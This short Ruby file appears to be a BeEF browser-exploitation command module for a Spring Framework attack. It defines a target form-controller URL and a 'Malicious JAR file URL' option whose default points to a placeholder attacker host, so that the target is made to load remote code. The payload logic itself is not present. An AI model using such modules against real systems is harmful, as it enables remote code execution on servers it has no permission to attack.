class Spring_framework_malicious_jar < BeEF::Core::Command
def self.options
[
{ 'name' => 'form_controller', 'ui_label' => 'Form Controller URL', 'value' => 'http://target/path/to/form/controller' },
{ 'name' => 'jar_file', 'ui_label' => 'Malicious JAR file URL', 'value' => 'http://attacker/path/to/attack.jar!/' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end